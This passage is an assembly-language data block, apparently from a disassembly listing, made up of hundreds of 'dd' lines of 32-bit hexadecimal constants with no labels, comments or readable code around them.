		dd 935D3C08h, 0F61A5FFAh, 0BAF942D5h, 0A1B94543h, 0E4871406h
		dd 4B65C24h, 0D4C8310Ch, 87494D9h, 661E70CEh, 39886166h
		dd 0D414203Fh, 1C41540h, 3858BE8h, 91E95753h, 0FFD24DEEh
		dd 5C068337h, 108A810Fh, 918A50BFh, 0E7A7B90Ah,	75089881h
		dd 7AE9C4Bh, 0F7C7E0DCh, 3580D1D0h, 0FF7A4048h,	2C3BB3D4h
		dd 2662113Fh, 2DD03948h, 3150CD33h, 9409DA06h, 0E8999AE7h
		dd 0E9158CE6h, 7D9F3B99h, 286E5F3Fh, 0C131FC3Fh, 5E03B4Ah
		dd 9B2D1842h, 0E902D4B1h, 0A74946CFh, 5A08E454h, 0F6C66CEAh
		dd 0A084481h, 7BF83184h, 38E986A1h, 0F57E753Eh,	0C821043Dh
		dd 69216A39h, 87FAF8B9h, 33F24482h, 0D99550D3h,	0C7B81CD2h
		dd 0C5B8C821h, 2421604Dh, 0FB83E753h, 0F11C8403h, 798138A2h
		dd 586129E2h, 663B701Bh, 0C1FF9A83h, 92EB9C07h,	0C1EA81D3h
		dd 17E108EBh, 16BD1134h, 904B084h, 60A9B32Eh, 0A0A83987h
		dd 0D8292F0Eh, 56595B02h, 0C676D668h, 0A557932h, 37447D7Ch
		dd 0D4084B74h, 93CE6708h, 3C5C076Bh, 0B9D3CE29h, 89114D9Fh
		dd 88BF70D7h, 48015880h, 70040BCFh, 834ABD48h, 0E7E08BD9h
		dd 17E8E964h, 2842E9D2h, 0E6556068h, 0F1CEA131h, 2359B900h
		dd 81357100h, 226E39C9h, 7652483Bh, 727D9273h, 17B30F50h
		dd 0F6E3C380h, 73AFFED3h, 142CEEF3h, 2A03F51Ah,	28DE9DE9h
		dd 0A8AC5356h, 5DC06816h, 45816F63h, 881F7E10h,	0B844466h
		dd 2412F021h, 9483F532h, 68A0310Bh, 65927472h, 287E2Ch
		dd 2214056Fh, 0CEEFF741h, 0AF41E1A9h, 5AF85FFBh, 90C2E105h
		dd 0C8C8302Bh, 2901727Ch, 0C5015FFDh, 2CEB2C30h, 173B5D57h
		dd 0A3F955D8h, 136C5EC4h, 20859B36h, 80002E1Eh,	0D028C6C2h
		dd 3F68665Ah, 0A9954087h, 0E46BE4E2h, 5EF71498h, 8710F093h
		dd 4BF15C26h, 6A6C40A3h, 63F68E57h, 9D14F724h, 811298h
		dd 0BADED8F6h, 5EF301A2h, 0E9C23106h, 0B86D226h, 0C51EC62Dh
		dd 74915102h, 1454F552h, 539033FAh, 10E23149h, 0B8263881h
		dd 0FBED60C0h, 3252DE78h, 3008419Ch, 29CC074Ah,	4C99565Eh
		dd 26A4DB2Fh, 0E9190D31h, 889EE1C6h, 3BEB7420h,	0DE3C5259h
		dd 5A87340Ah, 0EA5B9489h, 54766020h, 296F2B63h,	484429F0h
		dd 710F62DAh, 673CBE00h, 81490A08h, 63AEEh, 70025DC3h
		dd 1230E94Eh, 0B1F74358h, 0F6CBF67Bh, 9CD76583h, 967B805Eh
		dd 1717DE01h, 95BCD5F7h, 0BA0C2306h, 9F0CE40Eh,	0C107E48h
		dd 0BF61F11Ch, 0B0637A21h, 0A72F884h, 311BE233h, 850C4806h
		dd 8A66E3C4h, 0C6011260h, 8A5F3C21h, 5A545200h,	372E80BBh
		dd 0C8AC2D23h, 62A42424h, 24498326h, 0C890F70Ch, 4866F82Ch
		dd 5500F05Ah, 0FE83B252h, 0EA0DC0CAh, 0EDAF607h, 2897B8FFh
		dd 135A73D3h, 8037E9C3h, 8EDC13Dh, 31200498h, 97BF6945h
		dd 0EB69E88Fh, 29B648A0h, 0BAF2D6F6h, 1618434Dh, 653436B4h
		dd 491031A6h, 5C48316Dh, 1B92730Fh, 933C04C3h, 295F050Bh
		dd 160E9C85h, 1F527027h, 0A0BE464Bh, 9291AAD0h,	7D2B9631h
		dd 7E2C100h, 8360DAF0h,	0D96BA1BDh, 7C29186Fh, 254C4024h
		dd 0FF414B2h, 0F82F4128h, 9CDC360Fh, 0E9EB42BFh, 5EB36802h
		dd 7BE0556h, 8075FE45h,	2A630AC0h, 0E9463E04h, 7516827Ch
		dd 0E2848421h, 7E631215h, 0F6006A9Dh, 1E4D1644h, 39EA0146h
		dd 364B0851h, 2968570Eh, 5F3C0242h, 8F2D6F41h, 53D1E90Fh
		dd 67E96099h, 9C171635h, 0C8E34382h, 12C2C382h,	227499h
		dd 0BE7982A3h, 0DE482959h, 5B0840BBh, 0E91A3D98h, 4ED03062h
		dd 26F19350h, 0C00900E5h, 4046840Fh, 0E9427399h, 6CE2A9E5h
		dd 0E7D951A8h, 246B79FEh, 0FB2E0D08h, 66A051A8h, 0A734A60Fh
		dd 12CFA68Bh, 19F002F6h, 9D8A7148h, 82160FA7h, 0C2C29A4h
		dd 2B5BD85Dh, 80A80C8Bh, 0E902C683h, 91C74455h,	698081D1h
		dd 0C236312Bh, 2C2DCE0Ch, 0A3E194E3h, 0C528AB91h, 20F5C0Bh
		dd 45E8F45h, 3C638154h,	52210239h, 40469845h, 0BF025720h
		dd 44F20D87h, 5F464931h, 0A3F62160h, 5056C20Ch,	0D150908Bh
		dd 0E913BF0Bh, 5BB24135h, 9805ECC0h, 5A12DF5Ah,	4BB03C50h
		dd 6C8960FBh, 546FD42Dh, 0E87B01E4h, 4B5D07A1h,	0C3311687h
		dd 0B4E7700h, 921E30E9h, 49E2869Ch, 0A7AB854h, 19160F9Ah
		dd 90111E7h, 443259E9h,	5F540698h, 15210D68h, 0BB011C7Ah
		dd 2FA37C70h, 0F35425E9h, 401CA79Ch, 8DA40146h,	0BAC41196h
		dd 93D01F8Ch, 0E89239B1h, 321DCD02h, 0CD582EF0h, 2CC1E98Bh
		dd 9455333Bh, 5C80BA3Bh, 0E95D291Ch, 0D4A449F1h, 8C3D8D98h
		dd 971A7B2h, 0E75A0276h, 0A020093Fh, 0D4280CF2h, 6CF31190h
		dd 0DE125C23h, 302BBDCCh, 581E24Bh, 0C16DEAE3h,	1CE78228h
		dd 58AB9968h, 0BA09EFBBh, 0B300465Ch, 2029AA1Ah, 0FF021FF2h
		dd 8E683877h, 5022A508h
		dd 742B9700h, 9B80520h,	0A333575h, 0CD5AC604h, 0C5841A8h
		dd 0C480007Bh, 7BECE615h, 0DB96321Ch, 2BC15CCEh, 0F55D8B57h
		dd 5DAE845Eh, 73C9DA84h, 9050F524h, 0CDD420D2h,	605BAC53h
		dd 8AB6522Eh, 4DF15888h, 0FEA7E907h, 58505EC9h,	5366053Ch
		dd 45822AB7h, 2E82933Eh, 42A5573Ch, 83E8EDCAh, 150C6E6Bh
		dd 1AE0C156h, 6FEEBA59h, 862D935Ch, 0F73CA8EFh,	1404475Dh
		dd 0E4E6855h, 69EB015Dh, 2B30C033h, 9A98B603h, 0C84541D3h
		dd 254279A4h, 1CC4902Dh, 0E9560B51h, 0B490677Fh, 0A9083FDEh
		dd 20DD0160h, 588B9408h, 0C74DE9E8h, 0F75B09DBh, 0C2E709DEh
		dd 88B5B41h, 2D00352Ch,	29D66688h, 21680956h, 0D6A8D717h
		dd 0D6F7612Eh, 4A3F6051h, 323E0707h, 5C14E989h,	445EE192h
		dd 0E6453058h, 92B45070h, 0BD421DB8h, 78802067h, 59C88807h
		dd 0EA4C537h, 586DE0A1h, 0D8A6219Fh, 5207F510h,	25E78853h
		dd 0EDEA9DFAh, 0E9EA24D7h, 9713114Ah, 68C21D8Ah, 0A04C346Eh
		dd 39F37D55h, 4B08040Eh, 8A843DC4h, 5DE971B4h, 68097679h
		dd 0F6CC78FDh, 0E9063693h, 0D32AF2ADh, 954D2773h, 0CCA10930h
		dd 0BC1FFB2Ah, 600842A4h, 0D359669Dh, 348F1CD4h, 6FA02F45h
		dd 0C7B043h, 0B0B5A82Fh, 515BD801h, 0D373B94Ch,	0DF662F0Dh
		dd 263CE890h, 16A16A54h, 1F5ECA28h, 9982DF27h, 62F54639h
		dd 0E189338Bh, 612D4B2h, 0DFBED718h, 5505980h, 0EA774BB8h
		dd 0C010C0D3h, 483BB607h, 17BA5C29h, 0F737129Eh, 0EDA3E237h
		dd 0BB3E00E4h, 0BF54B55h, 9EBEDF01h, 8125C2h, 0B73DB3B8h
		dd 58525661h, 68A0FE01h, 0D55F590Bh, 31EB0A4Fh,	4BF892F1h
		dd 0CD8B5D39h, 0CE16AEC4h, 0A812F187h, 95262A02h, 787B4057h
		dd 3D4A5860h, 82B6A226h, 0CB102ABFh, 3FCF83E0h,	1F765CE8h
		dd 6B88EF06h, 9381CDDh,	0DBAC85E4h, 62F61705h, 4CD0B3F4h
		dd 84935759h, 0F707EA25h, 0E38273DAh, 53E50F50h, 0FE898EBAh
		dd 0F832205Dh, 602679F4h, 12243531h, 3DE95B02h,	2D1344DBh
		dd 0A8383C8Bh, 3B4FC5E9h, 827FEE61h, 1EE3BA00h,	90DC709h
		dd 7E6784D5h, 0E51126F6h, 54F7401Eh, 115A594Ch,	0EB03366Ah
		dd 3FD82EB1h, 57D20C04h, 92C14D02h, 3668AAE9h, 7A406814h
		dd 3BF81910h, 3AE0245Fh, 12E63AADh, 120DF006h, 89FCCFE9h
		dd 0A5354751h, 52D0E003h, 69B2E4ECh, 0B3D1F728h, 2A05FB0Ah
		dd 0FD00D869h, 0E9331F49h, 250A944Ch, 64519B0h,	0E3B17E91h
		dd 0AB52DA0Eh, 0D3AD54E1h, 4908E9E0h, 9E077C90h, 3142BD2Ch
		dd 0AC584BBCh, 0EF2D01C5h, 29475367h, 41821C8h,	0FBE20808h
		dd 25F090Bh, 4EDF4A8h, 0D2208431h, 64D15C36h, 0C9CA380Ch
		dd 4790AC3h, 3C00B2Eh, 93A9155Dh, 348DCBE0h, 18028E35h
		dd 0A052BD88h, 75DB8Eh,	77BA5A7Dh, 29813CF5h, 0B75FFA39h
		dd 83E4BBD3h, 6B60B210h, 7EC7814Fh, 1EDCC312h, 0E3C14B42h
		dd 0A956E307h, 8E8305EBh, 1C677EB1h, 82D2F3B0h,	89132D09h
		dd 0FD7004DDh, 94DDE5Dh, 0BB4B1F70h, 87817E24h,	30B5C00h
		dd 3D08E2C1h, 0F282D2F7h, 0C6A71934h, 69208CD0h, 681BA007h
		dd 37394AF5h, 1D2BB0EBh, 0E120E919h, 2959013Eh,	45685DE8h
		dd 783F3340h, 43968C1Eh, 59315A89h, 2EE9043Fh, 0C942A821h
		dd 54062A90h, 94C8E9F0h, 32DA23ECh, 0DC90D243h,	4883C95Ch
		dd 92BDB06Ch, 51945743h, 648247ADh, 56E18966h, 6B5BA62Fh
		dd 3A085493h, 0C8C12C5Bh, 6817309Fh, 6D1D2DDFh,	4D8A5E61h
		dd 0C56FA31Fh, 0E3A30328h, 92D22200h, 0D17E99Eh, 0C6511ACEh
		dd 2F0C8556h, 4B145B5Fh, 380971A0h, 0BA443603h,	0B0CC07FBh
		dd 0C15DEA01h, 4679F01Ch, 0B2CA3069h, 1B7B1324h, 759FEE00h
		dd 4FE93159h, 0D127030Bh, 0F7C287E1h, 5F545260h, 53464082h
		dd 44E70968h, 868264ECh, 0DB515A76h, 804D2D3Ch,	11750552h
		dd 18377531h, 0A3851E1h, 82C4110h, 2D149D1Ch, 11A07507h
		dd 16FEBB53h, 0E9663F05h, 0CC377DBDh, 9DC4F28Fh, 207C57C6h
		dd 66134E06h, 4391AB0Fh, 101C863h, 0DEF40F9h, 6A7DA305h
		dd 19ED9427h, 2A6C6BBAh, 3F0DB800h, 0F001C11Dh,	1F145E5Fh
		dd 0C0A60BDCh, 82C68533h, 84EF10B4h, 1294B7B0h,	7F915B12h
		dd 252B259Bh, 0F062E5E0h, 35CC2291h, 0B35FA113h, 560D359Ah
		dd 574E4732h, 0B63E5568h, 2C7B01EEh, 2030E940h,	59CE8651h
		dd 0F62E254Eh, 0B60F0750h, 776842CCh, 4FFD8AE0h, 7C5DAA9h
		dd 429C23E5h, 1B445C01h, 825A54C4h, 5904D8CAh, 3BD970C0h
		dd 12C0250h, 86468FBh, 28D7F59h, 80332CDCh, 12D5821Ah
		dd 68859865h, 8E446425h, 0A714D033h, 9D606B13h,	0F8D973h
		dd 71ABF781h, 53D5845h,	0AC68000h, 6134E9F4h, 0F70A0A9Ah
		dd 39FD895Eh, 83066BEAh, 0FA0A01EDh, 0F6E209C5h, 4F51EC66h
		dd 27784525h, 8F90F889h, 0C5921DD9h, 0C430A390h, 5709AE61h
		dd 4E9991Ch, 0E2056568h, 228A4AB1h, 0C882B917h,	837F5C4Fh
		dd 65870226h, 5041CA68h, 0BD343068h, 91309554h,	0EF37E958h
		dd 905AA759h, 0FC5DBE83h, 0FBE0B70Eh, 0E289A0D8h, 1EE913FAh
		dd 213E345Eh, 0D6649FAh, 2C34B603h, 0D2729E3h, 287F2A57h
		dd 6EF2A760h, 49DCF18Ah, 66F0B28h, 0A76ED6E9h, 1B02C525h
		dd 4AC3F2D8h, 1EE807A6h, 0D7870C0h, 7F020738h, 82DD055Ch
		dd 1260491Ah, 3B2541E8h, 891340A6h, 145873C1h, 3B0C8BCDh
		dd 43372861h, 4B9FDBB4h, 6A9E9000h, 0E5B93E39h,	9EC03617h
		dd 174E42Dh, 0C8053AD2h, 0EA44371Eh, 5100E2C4h,	6E34A7B9h
		dd 95ECE92Bh, 0D388BC83h, 79149EB9h, 8948CF20h,	0EB55107Dh
		dd 79011478h, 5704FE26h, 0C86C7364h, 5C946E18h,	5C015E05h
		dd 25FF9D50h, 0EB186C50h, 51455B0Ah, 9E8C4B90h,	1275B266h
		dd 3535AD68h, 4EA904CAh, 0CC800365h, 73249FC4h,	239983h
		dd 360FEFC3h, 295A4574h, 0B2C138B8h, 84250BFh, 35ECCA83h
		dd 0C0109A0h, 62514AA3h, 28A0C329h, 140CD008h, 24612091h
		dd 352EEE44h, 261C424Ah, 35B80C68h, 5B815607h, 7FC3D0F7h
		dd 31964E51h, 6C5765Eh,	940A5FAh, 0F4532BCDh, 0F9C867B3h
		dd 5E244CC4h, 7AC983FFh, 526734E2h, 0F26F39EEh,	0A1FA50Fh
		dd 3F7551F4h, 0CE09E24h, 66B376E0h, 0E101CBB8h,	0C1588C71h
		dd 128202E7h, 0EAA99743h, 7ECFD84h, 51F98957h, 0D2539F3Eh
		dd 5AEF82A2h, 0E9F1BC5Ch, 9D3678FEh, 78282A92h,	218202A6h
		dd 0B28069E0h, 5193449Bh, 880C6A4h, 68015650h, 8FB390Ah
		dd 0C6FC4E5Eh, 0CFE40358h, 63DE971h, 0F3EE5101h, 5D346D4Dh
		dd 0A977B6F0h, 0EBDDFEBFh, 0D04B1A68h, 1B78EDF2h, 0D1F77317h
		dd 11F0260Ch, 64F14801h, 59A4CB28h, 812818BDh, 547C0AB9h
		dd 0A5DE6411h, 0C61366EDh, 0DE09C6E1h, 0FE4151D1h, 3501C478h
		dd 74D3601Eh, 0BA1F24EAh, 5FD2DEBCh, 0B2574CC3h, 933B76E2h
		dd 690200E7h, 4B3C8C0Bh, 7561DCFCh, 0EEC1461Ch,	4DD57089h
		dd 0C0B3AB29h, 68590C04h, 0A29865D6h, 79D2AC5Dh, 5582A50h
		dd 20E84062h, 454BD88h,	814A4B09h, 27C9EDh, 0D30FB99h
		dd 0C2524130h, 710C9711h, 490969E9h, 0B98BEC27h, 19AF5A45h
		dd 388B0153h, 0CBC6DE58h, 91A49BABh, 76C3DA9Ch,	968277Ch
		dd 5865C67Ch, 72DDBCFh,	519C3E9Ah, 0E4E91AB4h, 7BAFD4D4h
		dd 0A4BFA8B4h, 0D286F4C2h, 0C4734EE2h, 0E39FE8BDh, 64D4A4E9h
		dd 0EFA689F8h, 1CEAD8E0h, 8EB095A4h, 0EE0EB69h,	0E5EE5F25h
		dd 0A8722807h, 5FF821D0h
		dd 0EBC3A348h, 31DFB1FDh, 0E430FB71h, 0D43807E0h, 8EC22902h
		dd 0A8630854h, 564FF7E2h, 0A2919599h, 7DB3050Bh, 2D81DE28h
		dd 290175ABh, 0A2E878CBh, 6005C201h, 0E702F2Ch,	0B5BF2D1Fh
		dd 4F6EE100h, 550EFC1h,	4713109Ch, 4000079Fh, 557FF35Eh
		dd 19809D29h, 88469AEFh, 0F6183854h, 2CDD0D12h,	62B38912h
		dd 15E5412h, 9A1A4E36h,	0B6DC8053h, 1AC65E5h, 505A0BD6h
		dd 66270CE9h, 54081B9h,	0F0CDF93Bh, 5D81D925h, 211D3E62h
		dd 0C2C1DCE8h, 608FE90Eh, 503182C5h, 80000A5Ah,	302F7EEEh
		dd 0EC0AB1F5h, 4D37E4CEh, 7B4C9B26h, 53C56377h,	0EA0FE7D1h
		dd 535E18D0h, 64827601h, 2A61A4h, 6A544395h, 1CD0FB01h
		dd 0D3680908h, 814CF926h, 58150B47h, 0FA1120D1h, 5A26FCB2h
		dd 6F0C7131h, 9C7C379h,	13523FDEh, 249CBD8h, 5635965Dh
		dd 0C80FBA0h, 0DCF60FECh, 882C7E0Ah, 1842CCE5h,	90EEDA10h
		dd 989A02B0h, 0F0292AFBh, 5F82A1E5h, 4A69DBE9h,	0B893A2A5h
		dd 4404096Bh, 5BAE334h,	36B782E7h, 5AAB8201h, 2A2140EEh
		dd 8068204h, 2651CBE9h,	7855158h, 5BB82536h, 0A4FCB187h
		dd 0BD5F812Ch, 61BA0007h, 226B246Ah, 0DA7A0298h, 96894D2Fh
		dd 998004E2h, 28582C0Bh, 8E6C10Eh, 0DEF760D1h, 4AFF681h
		dd 892B4398h, 0E03685F2h, 551236DEh, 89082242h,	5B1FAE92h
		dd 9CEF0ADh, 3C5FC977h,	7364E217h, 0EE318B16h, 8638F3E9h
		dd 0FDB65200h, 0F65AF088h, 0D02CD872h, 2D12FB86h, 2501C7A0h
		dd 371858C5h, 274A8168h, 6C9DCD24h, 643B93E2h, 0D4FB7020h
		dd 0B8ABC02Bh, 130C10C5h, 0BC9B91Fh, 58C10429h,	0B359CA01h
		dd 4B5C2C16h, 19279312h, 0C8010F67h, 0C6406659h, 0A8234868h
		dd 0F70DE946h, 0FB605B02h, 0BE35E4A5h, 7AA95B90h, 294DE9C2h
		dd 32971BCCh, 2324153h,	6AC97CC2h, 3ACD8389h, 585C162Ch
		dd 1329CF9Ch, 48108610h, 5152B25Fh, 2EDF2AF3h, 41610DA0h
		dd 42013530h, 61EA9FF9h, 93BD0651h, 0B442838h, 31A8FAE1h
		dd 5BC27D7Bh, 0D5CF13F7h, 0C0A682BFh, 294F097Eh, 70F3C929h
		dd 0F6E61BA5h, 885EF325h, 5B1ED8A1h, 62EA6971h,	0DB6C51E1h
		dd 7632292Fh, 745F1E41h, 77F98740h, 685A0503h, 40F61BA0h
		dd 5AD70182h, 74C3A95Ch, 0F333257Fh, 591BCDC6h,	125BD821h
		dd 0C04FE985h, 322EBAEBh, 31017207h, 4BD55AD5h,	0D9899541h
		dd 41CDF75Bh, 95E3A5ECh, 2C56CEB9h, 54D9B4CBh, 273F2B6Bh
		dd 13D7EE5Ch, 8CDFB1E9h, 3C54D3E5h, 0BF69AFC1h,	6AA7E51Ah
		dd 1237A4DEh, 0ADB584E3h, 9CD297D4h, 0A9D17A7Ah, 0E8285E30h
		dd 46FFD2CAh, 5A1E7D71h, 8409D829h, 32826460h, 5E26C83Bh
		dd 57BF0D29h, 25D61DEh,	1C9B8D40h, 17C26B8h, 0D20472C8h
		dd 525D9087h, 134CBE68h, 9CC2B40Fh, 339798B8h, 2D9182DBh
		dd 3C94E8C1h, 71EF4492h, 8DF307Bh, 244A3BB0h, 1A683780h
		dd 4143C405h, 2BA4E32Dh, 0F609815Bh, 3CE8E6F1h,	892834EEh
		dd 9399BBB5h, 219BF02Ch, 0A896AB4h, 0AB8C8E31h,	0CBA76863h
		dd 1D920639h, 708EAC1h,	0DAF73Fh, 6DB9ECF2h, 2DD10996h
		dd 7883F9E9h, 3AB9CA21h, 1E44A71Ah, 5829BC97h, 0AC81E691h
		dd 596F95D9h, 0FD529E74h, 0AD166EBBh, 7CECE48Dh, 4734C1BEh
		dd 6006E7C1h, 30F631CAh, 0DC59717Fh, 0D18813B2h, 824E44E2h
		dd 22DC555Eh, 45638162h, 4521351h, 13C31ACDh, 0DAF6D440h
		dd 7E6AB863h, 5D7E2A51h, 89386FCCh, 29A721B3h, 18F662C5h
		dd 0EE5F450Dh, 25317C69h, 8D415953h, 85672256h,	0A64732E9h
		dd 0D572DE88h, 0E3C10060h, 0DB38F704h, 0D301F44Bh, 2CB3F381h
		dd 182B67B0h, 122D0640h, 5FA77813h, 36E916D1h, 59A8F754h
		dd 551E5207h, 1630C256h, 0BA6B607Ch, 70B6C2E0h,	88641768h
		dd 0BD6E0802h, 0A7ED8100h, 97861897h, 3F29C107h, 6A3C437Dh
		dd 80CC7922h, 4C33EC7Fh, 0FB2D7D05h, 0FC19218h,	417005E8h
		dd 80DBC3CDh, 0EB9812C3h, 3E6C09Fh, 374B5DFCh, 266821CCh
		dd 52B4405Bh, 0DBF8EE8Eh, 797FECC7h, 5A57D50Eh,	22D0B75Fh
		dd 0BC4D77E9h, 0AFD5BC93h, 0DBC7F080h, 2902742Fh, 2431F9EDh
		dd 0D8E05933h, 689E040Fh, 0C2895494h, 0C025B353h, 86305ACCh
		dd 0B013D5F6h, 39092829h, 6C504Eh, 586B5EBFh, 835DBA27h
		dd 19D2364Ch, 4E678167h, 0F678B5DDh, 0EE315F09h, 202CFFADh
		dd 77050912h, 8FE95E1Ch, 0C243BC5Eh, 0DA68E2D1h, 629C5C6Ch
		dd 0B3D93070h, 21567A89h, 1877C7Fh, 0A32839E5h,	0C0B70F0Ah
		dd 0CD5C16FFh, 0BE4B8B30h, 0F4021A02h, 2860A773h, 8C9EE580h
		dd 0FD8AE4ADh, 36FE542Eh, 90FA2A12h, 3C2068D6h,	66239A9Dh
		dd 24AEC39h, 0E9138175h, 0B344FE8Eh, 0FD4C9490h, 55C780CDh
		dd 4F5A1B1Ah, 7C63C957h, 3F0F0E7Eh, 0F1EFC018h,	3477D64Eh
		dd 1A1CF729h, 14011C08h, 805FFE87h, 7B93E754h, 3552D8Dh
		dd 0E97E6110h, 5B0221FCh, 0C428FBCAh, 8D74E01Dh, 32203E56h
		dd 30FCE202h, 5F60655Dh, 34307FCEh, 2853244Fh, 2023B8AEh
		dd 3349C664h, 5B89169Fh, 0C4FABF8Dh, 0BC1F2052h, 5AD00900h
		dd 93BE5640h, 69272628h, 18341D34h, 39EE6C13h, 0E3327716h
		dd 0ECE94607h, 8B9B5149h, 80D11704h, 0FA55A080h, 14EF834Ah
		dd 0F5E78101h, 0E62D3E1Ah, 5856A5E0h, 8E4B229Fh, 6D8107EAh
		dd 2041C15Bh, 464BE7AEh, 75CA9330h, 81530DABh, 0F90DCBF1h
		dd 0C41028CFh, 25F4F821h, 0C9D44EAEh, 46A9E0AAh, 0C0EE059Ch
		dd 0AD15B8F5h, 4DCE904Dh, 0E61E0947h, 4EEE1BD3h, 0F9885188h
		dd 7735B8F1h, 7F2055B0h, 0D5293F07h, 28003727h,	0B11AE4BAh
		dd 0AFCADAA0h, 49F06D05h, 0B0AC4DE9h, 7F50844Ch, 41240D5h
		dd 388D6651h, 4AA449AFh, 0A2682733h, 27AD4C2Dh,	0F620E7ADh
		dd 8C0AE4C2h, 4051B48h,	0D526974h, 0F049B9C4h, 1282FD51h
		dd 98E107E5h, 0D5B62825h, 37E700B8h, 0DEF77A8Dh, 2EFA9887h
		dd 5A286B01h, 0E02D307Bh, 0A501AC8Bh, 976804AAh, 200A8D19h
		dd 1A5B3DF5h, 0C62718Dh, 308CB108h, 0EB9CE322h,	406F6850h
		dd 295EE90Bh, 0D71C320h, 0ABAEA30h, 520A1D58h, 6A1A0281h
		dd 927A17B7h, 0CBD10882h, 0F764784Bh, 0DB3A297Bh, 71E52C04h
		dd 0A38244F8h, 0F285E8BAh, 0A4FB35Ch, 0A1744AF4h, 0DCDE3EABh
		dd 0E9255F09h, 8F8D0585h, 559D6487h, 974E737Ch,	1953C647h
		dd 68C7B0BCh, 99F659E4h, 0E888E90Dh, 17233A2Ch,	44199258h
		dd 168E2DF2h, 0E1216425h, 6529D94Fh, 3AE6E8F8h,	7B4085AAh
		dd 0F6BCBEC0h, 820846A6h, 88350171h, 0D456D328h, 0AFE4A3B8h
		dd 1026ABEh, 56FFE9D9h,	660D0084h, 502AEE71h, 584B87B7h
		dd 3B4A82A1h, 4BA4B20h,	18A67D06h, 0B43AC401h, 0CEB4CF49h
		dd 20058379h, 4390E919h, 0F8709992h, 0A727D079h, 0A2FF23E8h
		dd 8936B871h, 95E09F1h,	9B8059CAh, 5A3D2D96h, 0BA19E917h
		dd 48887BD0h, 5CCC5CE4h, 0A32DC880h, 3758AD13h,	0BDC75B66h
		dd 0CF13E54h, 0C148089h, 5A3931CCh, 1233CB8Fh, 4C657820h
		dd 0F503F7FDh, 5DE163B1h, 6180C02h, 485559A1h, 7814F810h
		dd 5006B84Ah, 0B05D07EAh, 0E1D7599Fh, 0C102B505h, 0B06D8425h
		dd 0F8770164h, 1A07164Ah, 2FF2C9BDh, 4A8AE022h,	0EE64621Eh
		dd 6604DCCFh, 7491A97h,	29834CF5h, 0EB5EDBF0h, 0ED6A9B05h
		dd 2D1A831Fh, 0BE4E840Eh, 72E5D107h, 624420F8h,	59C0DF5Bh
		dd 5B04B2BEh, 0F8688025h, 0FDB6967Dh, 6D3AAB00h, 0BAD0E927h
		dd 70681798h, 91B378h
		dd 11215BDh, 0B8E5C132h, 6EFB20B7h, 3CC5058h, 70091327h
		dd 8CE2C756h, 0AEFCD90Dh, 0B95150E7h, 1A3E13FEh, 0F0E1042Fh
		dd 78C19164h, 0BD055909h, 0FC758436h, 0F13A2512h, 4294F067h
		dd 0C688FABBh, 0DE173F7Fh, 3078CDCDh, 90B51F27h, 0B14CD3DCh
		dd 0BEDA5B5h, 64C49C09h, 5DC1F1C2h, 0BC05BC79h,	455B471h
		dd 82595ED0h, 1793F879h, 0B00C41E2h, 6C20CB52h,	9C2085E4h
		dd 9C584ADBh, 0A99A334h, 24B8230Ch, 5DD77729h, 5B2496BAh
		dd 36D23E28h, 4FD68C19h, 94CD2957h, 93D652C8h, 0D9187AE6h
		dd 7DEFFD2Eh, 0C775E06h, 532DFF7h, 937C9563h, 0A288C401h
		dd 4A085840h, 6012CA99h, 0B7C310ABh, 266FE795h,	0F2EF13C1h
		dd 6DA64ADDh, 413B6B40h, 5B241F2h, 5A409754h, 631984Dh
		dd 32A40DBFh, 0B8B583h,	9E1E684Bh, 0F302816Fh, 26E74F82h
		dd 13F65E31h, 661843E1h, 6898F1F7h, 75BE72BBh, 80BD65E6h
		dd 2237E1F6h, 61A15230h, 3285D0E5h, 131D6813h, 52CE0F8Ch
		dd 31137447h, 717D3DAh,	42050637h, 401E01E2h, 1FF2F182h
		dd 0CF252A33h, 0C73C02E9h, 698D0CBCh, 0F2B0CA78h, 6BC0050Fh
		dd 2B1FC906h, 0C0DB43h,	36CBBF57h, 60C05C58h, 0E2F62E8h
		dd 0DDE92D41h, 0B5687102h, 2BC52EDCh, 0CCF89F4h, 11564001h
		dd 7A1295F2h, 7EF180CEh, 0BAC0B06Ch, 63EE4FFEh,	0C11AD2FAh
		dd 840A05EAh, 3821019Dh, 8E287A35h, 0F5BAB532h,	0F9564D85h
		dd 6853C0B3h, 97029FAh,	1D71E916h, 59541DA2h, 0C23F12D3h
		dd 0C5FE1150h, 0B32444E7h, 78E592C9h, 0DD40924Bh, 6140C3B6h
		dd 64C3C39Dh, 0EE811101h, 13CF0408h, 0BABC6D8h,	5D6FAF1Bh
		dd 0F6CC9682h, 0AB498954h, 2CB283DFh, 85DD9367h, 0C8FE0182h
		dd 4AE7C112h, 2E9FE103h, 6702EC7h, 0BED7F747h, 8863A52h
		dd 202BAFF1h, 8A616C0Ch, 1322F847h, 0B073500Fh,	8A1E948h
		dd 6C5A3B5Fh, 3C54D9D8h, 580B302Dh, 0CB2BC200h,	0B7B8714Dh
		dd 0C40E05FCh, 612F022Dh, 26F45672h, 8FF2D0F5h,	1811F407h
		dd 81E76DE9h, 600114F2h, 0EA00A2F7h, 0F71071Ch,	2CE34D68h
		dd 1F79C22Dh, 757C60BDh, 5966806Ah, 0AEA0B2F0h,	8981E33Eh
		dd 0EE8BA8B9h, 8D8B215Dh, 0F8CEA65h, 9E17FFCh, 4E486E3Ah
		dd 0F7079602h, 6502E6F4h, 405C7D70h, 3DA80EA7h,	6A96B099h
		dd 0BFBB424Bh, 51C1D952h, 0BB1534F0h, 18377901h, 723B6825h
		dd 548E303Bh, 78000246h, 16BACE81h, 0A28331DCh,	909D43A5h
		dd 7151FA09h, 0CA812E42h, 3B943C92h, 0A200894Ah, 314675B9h
		dd 0F3E65AD6h, 0B2B26890h, 0E3C15B12h, 60FEE209h, 0CEB80A4h
		dd 0FCB68E0h, 0C84190EDh, 0E3A3327Eh, 0E41497A9h, 1E4011FAh
		dd 0A2F87288h, 8748D9ECh, 3002EA80h, 0D1283FF2h, 4B92719Eh
		dd 2D5159F0h, 0F0C364B1h, 2580F3A9h, 87ACCFAEh,	0A8B525ADh
		dd 0C6FE1F21h, 10165CF9h, 592F3A3Dh, 0D27E2C6Ch, 5BB45159h
		dd 547FD0CBh, 915CE486h, 27E52B13h, 4420AF64h, 0E75A4AECh
		dd 43D45B6Eh, 255032B0h, 33E14071h, 97383268h, 0B88917E4h
		dd 0FC74558Dh, 0D09B623Ah, 5959D9D0h, 0DE0F9263h, 40F3E902h
		dd 13B45028h, 842B7A7h,	891420BFh, 0AB861B7h, 0FCCA9051h
		dd 8C1142Ch, 0FD7D2C7Dh, 247A6BD3h, 8C16B44Fh, 5DE924F0h
		dd 68090C99h, 80E61B45h, 0BF3FDD09h, 0F71B223Bh, 0A4C8E0DBh
